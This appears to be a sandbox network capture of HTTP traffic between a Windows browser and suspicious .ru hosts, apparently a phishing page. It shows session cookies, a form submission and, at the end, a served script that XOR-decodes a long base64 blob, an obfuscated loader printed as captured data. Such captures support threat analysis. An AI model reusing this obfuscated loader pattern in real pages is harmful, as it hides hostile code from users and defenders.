2025-04-01 05:39:29 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:39:29 UTC	1328	OUT	GET /favicon.ico HTTP/1.1 Host: 86zv.vocalentr.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://86zv.vocalentr.ru/3JO93Fm/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlVFRU4yQXI3T2IyWWExVlVGajIrYkE9PSIsInZhbHVlIjoiUEhIbXFzMTcxOG5RNWtXNTFHNnVFZDFhMzJEUzFTTzFhRFJTcTRVZTdBaTdvU0FyTjUzSVVpdThBTnhFNC81a1p4dXBCN0lCOFIwNnJUbmJPNFo3WTM4dzBsaGp4dVluRlVhZVR5NmpQaDhoZ3ZpaDhBSkxGcHpIa0R3OU5tSXYiLCJtYWMiOiI3ODFhYmY4ZmNjYWQxY2NiNjhmOGI3MzZmMTk4NmUwOWUzMWQxZGY3YmY5MzY2MzdiZDFjOTEzNGI3ZTZmOGM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkYxRHM4M1F0WVpObmtVUjBQTjArYlE9PSIsInZhbHVlIjoiVTZVaWMrb0ZDbWpkU2FGdW55a1BoWHFRTmlsb1Z4UnM0Qk5yWjFmZS8xdlFjUEFMTmVwYU5qNlBKZXBFb2grQmREa0pRYnJ6UU8xQzNaUDFFNXFvMndja012VkVMelpVUkVHQitLaXpLQTZOeVdtb0RDdTdnZWw4ZzUyUUxyNTQiLCJtYWMiOiJkMTc5M2I5NWYyMzM5OThjMDAwNzZlZDVkMmM1ZWM3NWE5NjUxMzk5M2ZiYTZiMzhmMTRlY2Y0YTk1NmNkNzUzIiwidGFnIjoiIn0%3D
2025-04-01 05:39:30 UTC	1065	IN	HTTP/1.1 404 Not Found Date: Tue, 01 Apr 2025 05:39:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hh3asFiW4qj0csbjIDllxLD%2FPpF1QJDvqaVSJA6UneZw1dVePl6LxcPASpCv91WhgmtDl%2FpmTtIciUn5pJvgOM12vGCTk2SjzfA%2B4i3709EbFlVlTqcehRZuTmvXBIEf1RG6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=10167&min_rtt=10082&rtt_var=3842&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2245&delivery_rate=282483&cwnd=213&unsent_bytes=0&cid=90584c3fda36f7dd&ts=426&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 9295bf0d5e34377d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=91137&min_rtt=90909&rtt_var=19521&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1900&delivery_rate=33370&cwnd=252&unsent_bytes=0&cid=43f90ef9ee300a45&ts=2650&x=0"
2025-04-01 05:39:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:39:30 UTC	542	OUT	OPTIONS /report/v4?s=Hh3asFiW4qj0csbjIDllxLD%2FPpF1QJDvqaVSJA6UneZw1dVePl6LxcPASpCv91WhgmtDl%2FpmTtIciUn5pJvgOM12vGCTk2SjzfA%2B4i3709EbFlVlTqcehRZuTmvXBIEf1RG6 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://86zv.vocalentr.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 05:39:31 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Tue, 01 Apr 2025 05:39:30 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:39:31 UTC	517	OUT	POST /report/v4?s=Hh3asFiW4qj0csbjIDllxLD%2FPpF1QJDvqaVSJA6UneZw1dVePl6LxcPASpCv91WhgmtDl%2FpmTtIciUn5pJvgOM12vGCTk2SjzfA%2B4i3709EbFlVlTqcehRZuTmvXBIEf1RG6 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 433 Content-Type: application/reports+json Origin: https://86zv.vocalentr.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 05:39:31 UTC	433	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 37 30 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 38 36 7a 76 2e 76 6f 63 61 6c 65 6e 74 72 2e 72 75 2f 33 4a 4f 39 33 46 6d 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 32 31 30 2e 31 31 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 Data Ascii: [{"age":0,"body":{"elapsed_time":701,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://86zv.vocalentr.ru/3JO93Fm/","sampling_fraction":1.0,"server_ip":"172.67.210.119","status_code":404,"type":"http.error"},"type":"network-err
2025-04-01 05:39:31 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Tue, 01 Apr 2025 05:39:31 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:40:06 UTC	569	OUT	GET /chiriya!ystwcek HTTP/1.1 Host: tk7bj.kqnsgn.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://86zv.vocalentr.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://86zv.vocalentr.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 05:40:06 UTC	826	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 05:40:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LM9Int%2Fwq%2Bm84sSSTV8aX%2BIomhqTiYnpvGhzNSLFG1Xqhl07moXM3b2vpcE348JA3m4lRWcs5n9r3gKHqI7Ns4tB9tzlhgVomaIZOdIabuvenZjxncLEPj%2BvjYZaBpIT%2FE8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9295bff29ae5d954-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89388&min_rtt=89245&rtt_var=19044&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1141&delivery_rate=34073&cwnd=252&unsent_bytes=0&cid=a0d82d0536fec483&ts=783&x=0"
2025-04-01 05:40:06 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-04-01 05:40:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:40:06 UTC	1433	OUT	POST /wzPPl0tXJi084z9myPdy03491bj6hv8FVzLTwoc HTTP/1.1 Host: 86zv.vocalentr.ru Connection: keep-alive Content-Length: 809 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCVoPTecE1mgc9TZJ sec-ch-ua-mobile: ?0 Accept: / Origin: https://86zv.vocalentr.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://86zv.vocalentr.ru/3JO93Fm/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlVFRU4yQXI3T2IyWWExVlVGajIrYkE9PSIsInZhbHVlIjoiUEhIbXFzMTcxOG5RNWtXNTFHNnVFZDFhMzJEUzFTTzFhRFJTcTRVZTdBaTdvU0FyTjUzSVVpdThBTnhFNC81a1p4dXBCN0lCOFIwNnJUbmJPNFo3WTM4dzBsaGp4dVluRlVhZVR5NmpQaDhoZ3ZpaDhBSkxGcHpIa0R3OU5tSXYiLCJtYWMiOiI3ODFhYmY4ZmNjYWQxY2NiNjhmOGI3MzZmMTk4NmUwOWUzMWQxZGY3YmY5MzY2MzdiZDFjOTEzNGI3ZTZmOGM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkYxRHM4M1F0WVpObmtVUjBQTjArYlE9PSIsInZhbHVlIjoiVTZVaWMrb0ZDbWpkU2FGdW55a1BoWHFRTmlsb1Z4UnM0Qk5yWjFmZS8xdlFjUEFMTmVwYU5qNlBKZXBFb2grQmREa0pRYnJ6UU8xQzNaUDFFNXFvMndja012VkVMelpVUkVHQitLaXpLQTZOeVdtb0RDdTdnZWw4ZzUyUUxyNTQiLCJtYWMiOiJkMTc5M2I5NWYyMzM5OThjMDAwNzZlZDVkMmM1ZWM3NWE5NjUxMzk5M2ZiYTZiMzhmMTRlY2Y0YTk1NmNkNzUzIiwidGFnIjoiIn0%3D
2025-04-01 05:40:06 UTC	809	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 43 56 6f 50 54 65 63 45 31 6d 67 63 39 54 5a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 68 42 69 4d 75 62 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 43 56 6f 50 54 65 63 45 31 6d 67 63 39 54 5a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 75 61 4c 31 6c 77 56 4f 65 4b 53 51 55 6f 57 71 65 64 39 4a 75 50 52 65 70 73 62 34 72 30 7a 6a 5a 48 42 61 33 79 6d 46 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 43 56 6f Data Ascii: ------WebKitFormBoundaryCVoPTecE1mgc9TZJContent-Disposition: form-data; name="bltpg"hBiMub------WebKitFormBoundaryCVoPTecE1mgc9TZJContent-Disposition: form-data; name="sid"uaL1lwVOeKSQUoWqed9JuPRepsb4r0zjZHBa3ymF------WebKitFormBoundaryCVo
2025-04-01 05:40:07 UTC	1187	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 05:40:07 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2gV9GxhD9waW6a%2BghH1defT2OU%2FXwOzZB7IUcxtlo1N%2FDXkF9c6Apwn%2FN7ciRNTSmV%2B1zSpAZv6Qjwx4yf5X0v7Ag4KkC7buffkToQ71ae1YjucAmIgByxIdH7ob8ThJPD3c"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10329&min_rtt=10278&rtt_var=3891&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=3158&delivery_rate=277096&cwnd=251&unsent_bytes=0&cid=80bd5ed3f399454e&ts=224&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjErSTF2UFIzRUlLN0kvSGx5Qm5KSEE9PSIsInZhbHVlIjoiRFZrZysyelJCazJmS3FPaVcwK3NmZkYzNVNuTnpuQ3hVdHR0RURZUDVObjFoWFQrNktQQ2V6a3pycEtyMi93YW9NV1U4S0tESjZDR0JNTW10Smx1VjM2VDVWMDhieWZBWkV5UitnS21oN2xhazVURnl2LzFOTTNhc0RaNkFyRWYiLCJtYWMiOiI5MmNjOWRlYWI3ZDc3MmQ0YmM3ZjFiZmZlMDQyMDNjZGRhN2VhYzYyZjMwNjUzYjNiYzI5Njg0YWUzYTFmZjIzIiwidGFnIjoiIn0%3D; expires=Tue, 01-Apr-2025 07:40:07 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-04-01 05:40:07 UTC	788	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 49 76 52 57 4e 59 5a 69 74 30 63 58 46 55 55 48 52 6b 5a 32 30 76 64 56 55 76 55 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 57 46 70 72 4d 47 68 71 61 30 52 31 62 57 31 44 4e 31 51 33 62 55 6c 34 63 30 78 72 62 30 6c 4b 55 6a 51 32 53 33 6c 48 4e 46 68 45 61 79 74 6a 64 44 46 6f 54 7a 4a 54 5a 45 4e 47 54 56 6f 31 5a 47 31 79 64 57 52 44 4d 58 64 76 51 6c 46 50 56 46 4d 32 4e 45 78 47 53 32 46 6b 65 55 73 33 51 53 39 4d 57 57 31 49 4f 47 4e 78 4e 56 56 4e 59 6e 5a 6e 59 7a 41 72 4d 32 6c 70 65 45 78 61 61 45 35 31 64 32 55 34 59 55 5a 6c 65 54 4d 34 65 6b 31 4f 4d 55 5a 79 4d 57 35 48 54 44 5a 7a 52 47 51 32 51 33 4a 6a 54 6a 41 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImIvRWNYZit0cXFUUHRkZ20vdVUvUnc9PSIsInZhbHVlIjoiWFprMGhqa0R1bW1DN1Q3bUl4c0xrb0lKUjQ2S3lHNFhEaytjdDFoTzJTZENGTVo1ZG1ydWRDMXdvQlFPVFM2NExGS2FkeUs3QS9MWW1IOGNxNVVNYnZnYzArM2lpeExaaE51d2U4YUZleTM4ek1OMUZyMW5HTDZzRGQ2Q3JjTjA
2025-04-01 05:40:07 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-04-01 05:40:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:40:07 UTC	1476	OUT	GET /3JO93Fm/ HTTP/1.1 Host: 86zv.vocalentr.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://86zv.vocalentr.ru/3JO93Fm/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjErSTF2UFIzRUlLN0kvSGx5Qm5KSEE9PSIsInZhbHVlIjoiRFZrZysyelJCazJmS3FPaVcwK3NmZkYzNVNuTnpuQ3hVdHR0RURZUDVObjFoWFQrNktQQ2V6a3pycEtyMi93YW9NV1U4S0tESjZDR0JNTW10Smx1VjM2VDVWMDhieWZBWkV5UitnS21oN2xhazVURnl2LzFOTTNhc0RaNkFyRWYiLCJtYWMiOiI5MmNjOWRlYWI3ZDc3MmQ0YmM3ZjFiZmZlMDQyMDNjZGRhN2VhYzYyZjMwNjUzYjNiYzI5Njg0YWUzYTFmZjIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImIvRWNYZit0cXFUUHRkZ20vdVUvUnc9PSIsInZhbHVlIjoiWFprMGhqa0R1bW1DN1Q3bUl4c0xrb0lKUjQ2S3lHNFhEaytjdDFoTzJTZENGTVo1ZG1ydWRDMXdvQlFPVFM2NExGS2FkeUs3QS9MWW1IOGNxNVVNYnZnYzArM2lpeExaaE51d2U4YUZleTM4ek1OMUZyMW5HTDZzRGQ2Q3JjTjAiLCJtYWMiOiI0MGI0YWI3Y2U2YTU0MDhhOWM4MWE2MzYxZjlmNmFjNDUxN2Y1YjA0OGQ5MmFjN2Y2NTI3MTRmZTM1YzA3MTdlIiwidGFnIjoiIn0%3D
2025-04-01 05:40:08 UTC	1220	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 05:40:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eMQmyZl4B3XmmPhb1Onf9m%2FGlai5zi2PiIF0OmhKGg1%2FSl1K%2BLCl%2FZK8HuvyTx1DsqixrKo2flxx6QJ7sKmAhParqx7Wn7pGrp6qA5YWKNsHPBKSfg8ADy%2FX26ivq%2BBXmwiV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10340&min_rtt=10179&rtt_var=3932&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2383&delivery_rate=279791&cwnd=227&unsent_bytes=0&cid=788141cf6a489fe0&ts=260&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Im9lS3VJa3JmVUtMUmREYjFpT202L2c9PSIsInZhbHVlIjoiNEN6cDMzK1RTZlJhM0JMUkxteFA4T2dkNXhUYW9Fck9hM05nZnY1NlptT1VJT2lHWDBhM3l5Mlk5VmU3TWlhL2J0bkFDMDZCTXRqWmRCS01YQ2x5RS9OOVU5TkpkRnNUdi9LSVlJS0pzSUpZaVpKdzFoejRZc2hjK0paeURWWFciLCJtYWMiOiI0YzY1ODVmMTQyYmQzNjUzNzA3NmMwMDdhMDgwMzZiMTgwYmFkY2FmOGZlOGI0ZjdmMDEyYzNjZTEyNTgxYmU4IiwidGFnIjoiIn0%3D; expires=Tue, 01-Apr-2025 07:40:08 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-04-01 05:40:08 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 74 55 51 55 5a 6f 4e 48 70 73 55 6b 35 35 52 47 55 79 64 7a 52 34 64 46 46 43 56 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 53 79 39 61 57 55 31 52 4b 30 46 43 4e 6b 31 79 54 45 5a 70 59 31 5a 70 4c 32 6c 44 63 58 46 55 54 30 52 45 61 46 5a 75 56 6b 77 72 61 56 64 72 55 79 73 33 54 6d 39 4e 51 6e 4a 4e 61 6a 4d 35 61 33 56 73 56 33 56 45 54 47 56 36 51 57 31 4d 62 33 52 55 54 46 6c 4f 63 58 46 72 55 7a 55 33 55 30 34 78 56 47 74 4d 62 69 39 61 4e 58 52 6c 55 6c 46 6f 52 57 35 4e 57 6a 64 4c 62 6d 6c 78 52 53 74 47 5a 54 68 56 63 31 64 61 57 6d 35 57 63 6e 4a 47 52 57 52 6e 64 56 52 44 56 44 42 51 61 6b 6b 34 4d 33 56 32 61 46 63 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImtUQUZoNHpsUk55RGUydzR4dFFCVnc9PSIsInZhbHVlIjoiSy9aWU1RK0FCNk1yTEZpY1ZpL2lDcXFUT0REaFZuVkwraVdrUys3Tm9NQnJNajM5a3VsV3VETGV6QW1Mb3RUTFlOcXFrUzU3U04xVGtMbi9aNXRlUlFoRW5NWjdLbmlxRStGZThVc1daWm5WcnJGRWRndVRDVDBQakk4M3V2aFc
2025-04-01 05:40:08 UTC	342	IN	Data Raw: 31 34 66 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 67 61 65 4f 6d 45 55 4f 70 64 28 46 69 55 71 70 64 53 45 48 4b 2c 20 55 50 71 73 64 47 61 6b 4f 75 29 20 7b 0d 0a 6c 65 74 20 65 4d 78 6f 4c 46 76 76 4d 64 20 3d 20 27 27 3b 0d 0a 46 69 55 71 70 64 53 45 48 4b 20 3d 20 61 74 6f 62 28 46 69 55 71 70 64 53 45 48 4b 29 3b 0d 0a 6c 65 74 20 79 71 5a 64 53 42 76 56 54 70 20 3d 20 55 50 71 73 64 47 61 6b 4f 75 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 46 69 55 71 70 64 53 45 48 4b 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 65 4d 78 6f 4c 46 76 76 4d 64 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 46 69 55 71 70 64 53 45 48 4b 2e 63 68 61 72 43 6f Data Ascii: 14f<script>function gaeOmEUOpd(FiUqpdSEHK, UPqsdGakOu) {let eMxoLFvvMd = '';FiUqpdSEHK = atob(FiUqpdSEHK);let yqZdSBvVTp = UPqsdGakOu.length;for (let i = 0; i < FiUqpdSEHK.length; i++) { eMxoLFvvMd += String.fromCharCode(FiUqpdSEHK.charCo
2025-04-01 05:40:08 UTC	1369	IN	Data Raw: 31 38 65 64 0d 0a 4e 7a 4b 6e 43 53 20 3d 20 67 61 65 4f 6d 45 55 4f 70 64 28 60 57 68 41 61 45 42 30 6d 47 42 67 56 52 67 56 65 57 77 6f 41 49 68 78 4c 58 42 74 4a 41 42 59 47 45 58 67 47 53 52 4e 52 46 42 70 58 41 52 73 37 51 31 49 58 51 51 4d 52 41 45 39 48 65 46 6f 57 56 68 6f 4c 43 68 64 4d 48 69 56 4f 42 6c 6f 62 46 51 41 4c 43 77 51 69 55 6a 56 73 43 42 55 41 43 77 73 45 49 6b 78 4c 46 46 64 62 51 52 45 57 41 43 59 66 41 6b 6b 62 42 51 63 58 43 41 64 34 44 31 51 4a 51 51 49 46 46 51 4d 47 4d 30 4a 62 43 56 6c 4a 41 68 4d 44 44 48 6b 41 55 51 52 48 53 51 41 4c 47 77 51 69 41 78 55 4d 52 30 6c 58 56 31 4e 61 5a 30 4e 62 46 45 30 57 46 78 5a 50 48 69 56 43 56 51 39 61 53 41 6b 4b 51 45 70 71 51 30 73 46 52 67 38 54 44 56 78 35 58 47 45 79 57 6b 63 46 Data Ascii: 18edNzKnCS = gaeOmEUOpd(`WhAaEB0mGBgVRgVeWwoAIhxLXBtJABYGEXgGSRNRFBpXARs7Q1IXQQMRAE9HeFoWVhoLChdMHiVOBlobFQALCwQiUjVsCBUACwsEIkxLFFdbQREWACYfAkkbBQcXCAd4D1QJQQIFFQMGM0JbCVlJAhMDDHkAUQRHSQALGwQiAxUMR0lXV1NaZ0NbFE0WFxZPHiVCVQ9aSAkKQEpqQ0sFRg8TDVx5XGEyWkcF
2025-04-01 05:40:08 UTC	1369	IN	Data Raw: 39 50 41 58 67 66 57 78 34 7a 52 77 51 56 57 69 56 31 46 43 6f 38 42 54 6f 56 42 58 6b 42 66 53 55 69 48 69 73 33 46 77 74 78 4a 58 55 42 4b 6a 45 52 45 7a 51 37 62 6c 5a 74 4d 67 77 65 42 6a 77 63 58 57 49 31 51 77 45 36 4c 68 70 45 47 51 56 36 56 6c 63 49 4e 52 55 75 4e 78 51 65 59 6a 35 59 49 67 46 4c 4d 42 67 5a 42 58 6c 56 65 52 38 68 51 43 34 31 5a 69 64 78 4a 58 55 42 4b 6a 6f 6a 45 78 38 76 65 51 46 39 4a 53 49 65 42 77 30 55 47 47 49 2b 5a 67 34 73 45 43 42 45 4e 51 4a 75 43 6e 67 6c 49 52 45 41 50 41 64 61 63 53 35 6d 48 77 63 75 4e 77 63 66 4b 30 77 4b 55 54 4d 74 44 7a 67 7a 41 31 70 78 49 6d 31 56 4b 6a 46 53 42 78 49 39 56 77 46 39 4a 53 49 65 4b 7a 63 58 43 33 45 6c 64 51 45 71 4f 69 42 44 48 79 73 4a 43 6c 41 68 4a 6b 38 72 50 41 51 56 58 Data Ascii: 9PAXgfWx4zRwQVWiV1FCo8BToVBXkBfSUiHis3FwtxJXUBKjEREzQ7blZtMgweBjwcXWI1QwE6LhpEGQV6VlcINRUuNxQeYj5YIgFLMBgZBXlVeR8hQC41ZidxJXUBKjojEx8veQF9JSIeBw0UGGI+Zg4sECBENQJuCnglIREAPAdacS5mHwcuNwcfK0wKUTMtDzgzA1pxIm1VKjFSBxI9VwF9JSIeKzcXC3EldQEqOiBDHysJClAhJk8rPAQVX
